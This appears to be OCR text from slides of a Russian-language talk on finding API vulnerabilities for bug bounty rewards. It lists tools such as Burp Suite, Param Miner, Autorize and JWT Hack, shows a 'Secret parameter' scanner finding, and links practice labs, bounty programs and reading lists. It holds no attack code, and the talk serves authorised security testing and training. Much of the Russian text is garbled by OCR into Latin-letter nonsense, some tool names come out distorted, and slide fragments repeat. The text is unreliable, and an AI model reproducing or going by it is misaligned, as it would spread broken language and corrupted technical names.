: 1L, 440 18:06:49 27 Oct 2022 lssue found D Scorct parameter
P 7 :06: ct 2022 Issue found ! Secret parameter
Bu rp S u 1 t e 1 439 18:06:46 27 Oct 2022 Issue found ! Secret parameter
438 18:06:44 27 Oct 2022 Issue found ! Secret parameter

* Param Miner

DETEACT

Advisory Request Response

I Secret parameter
L]

Issue: Secret parameter
Severity: High

Confidence: Firm

Host: https://

Path: D 'v2/profile

Note: This issue was generated by a Burp extension.

Issue detail

Found persistent parameter: 'location’. Disregard the request and look for :
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VIHCTOYMEHTEL

I .
* BurpSuite l |:

* Param Miner
* Autorize

DETEACT
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VIHCTOYMEHTEL

I .
* BurpSuilte l l:

* Param Miner

* Autorize
° TnQOL
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VIHCTOYMEHTEL

— .
* BurpSuilte l '

* Param Miner

* Autorize
° TnQOL

°* MindAPIT
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ok




VIHCTOYMEHTEL

* BurpSuite
* Param Miner

* Autorize
* ITnOL

°* MindAPIT

* MitmproxyZ2swagger

DETEACT

ININNE; API
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& % mitmproxy x @ Swagger Editor
A © http://127.0.0.1:8
File Start Options
Q api.airbnb it

s M Resume All [ £ Airbnb

Your profile

Log in to start planning your next trip.

Don't have an account? Sign up

Earn money from your extra space
=2

Learn more

@ Settings
(%) Gethelp

@] Third-party tools

*:8080 mitmproxy 8.0.0
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VIHCTOYMEHTEL

* BurpSuite

* Param Miner Nfﬁ I\Tm

* Autorize
* ITnOL

* M1ndAPI
* MitmproxyZ2swagger
* JWT Hack IWT

ZSI6IKPVAG4AGREGLIWIAW ' J1IJ0XNTEZIMI
DDDDDDDDDDDDDDDDDDDD

06KJIVPAUANARAL2GWBKOK
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BEIB O ITBI

* OTPOMHOE KOJIMUECTBO Pa3JIMUHEIX aTak
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BEIB O ITBI

* OTPOMHOE KOJIMUECTBO Pa3JIMUHEIX aTak

* HauHmTe C TeCcTUpOBaAHME HECJIOXHEIX Oaros
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BEIB O ITBI

* OTPOMHOE KOJIMUECTBO Pa3JIMUHEIX aTak
* HauHmTe C TeCcTUpOBaAHME HECJIOXHEIX Oaros

* BHMKaTE B JIOTUMKY paboTel API M HOpOIOyMEIBATH
MHTEPECHBE BEKTOPH aTak
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BEIB O ITBI

* OTPOMHOE KOJIMUECTBO Pa3JIMUHEIX aTak
* HauHmTe C TeCcTUpOBaAHME HECJIOXHEIX Oaros

* BHMKaTE B JIOTUMKY paboTel API M HOpOIOyMEIBATH
MHTEPECHBE BEKTOPH aTak

°Ha »TOM MOXHO 3apabaTeBaTb XOPOUME OEHLIU
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TeCTOBBIE CTEHI]

1

bl

* https://application.security/

e https://juice-shop.herokuapp.com/

* https://portswigger.net/web-security/all-labs

e https://attackdefense.pentesteracademy.com/

*http://crapi.apisec.ai/
* https://bugbounty.standoff365.com/
* https://bugbounty.ru
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https://application.security/
https://juice-shop.herokuapp.com/
https://portswigger.net/web-security/all-labs
https://attackdefense.pentesteracademy.com/
http://crapi.apisec.ai/
https://bugbounty.standoff365.com/
https://bugbounty.ru/

BKoHTakTe

BKoHTakTe — KpynHeuiwee cynepnpunoXxeHue, couunanbHas CeTb U KOHTEHTHas nnatpopma B
Poccuu, a Takxke O4uH U3 CaMbiX BbICOKOHarpy>XeHHbIX NPOEKTOB pyHeTa.

0-18000009 I} 26

BosHarpaxaeHue VASBUMOCTH MpuHATO OTYETOB

MNMouta, O6nako u Kanenpgapb Mail.ru

Cepsuchki Mail.ru (Moyra, O6nako u Kanesgapb) NOMOraroT MUNMOHaM Nnonb3oBarenen bbiTh
NPOAYKTUBHbIMU, OOLLATLCA U XpaHUTb UHPopMaLuio. besonacHoCTb GainoB U NPUBaATHOCTDL
OaHHbIX — rnaBHble NPUOPUTETHI U HEOTbEMIIEMbIE YCNOBUA paboThbl.

0-1800000P I} 22

BosHarpaxpaeHue VA3BUMOCTHU MpuHATO oTYEeTOB
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UTO ele rnoumrTarTb’?

* https://t.me/BountyOnCoffee

* https://hackxpert.com/blog/API-Hacking-Excercises/
* https://dsopas.github.io/MindAPI/play/

* https://www.wallarm.com/what/api-security-tutorial
e https://apisecurity.io/

* https://habr.com/ru/company/macloud/blog/553826/

* https://habr.com/ru/company/tomhunter/blog/676478/
* https://github.com/arainho/awesome—-api-security

* https://t.me/postImpact

* https://t.me/webpwn
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https://www.wallarm.com/what/api-security-tutorial
https://www.wallarm.com/what/api-security-tutorial
https://www.wallarm.com/what/api-security-tutorial
https://www.wallarm.com/what/api-security-tutorial
https://apisecurity.io/
https://habr.com/ru/company/macloud/blog/553826/
https://habr.com/ru/company/tomhunter/blog/676478/
https://github.com/arainho/awesome-api-security
https://t.me/postImpact
https://t.me/webpwn

K=

I Kon suktopuHel 00380543

CKaHupyuTe

https://play.myquiz.ru/p/00380543
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Questions?
@rOhack
BountyOnCoffee
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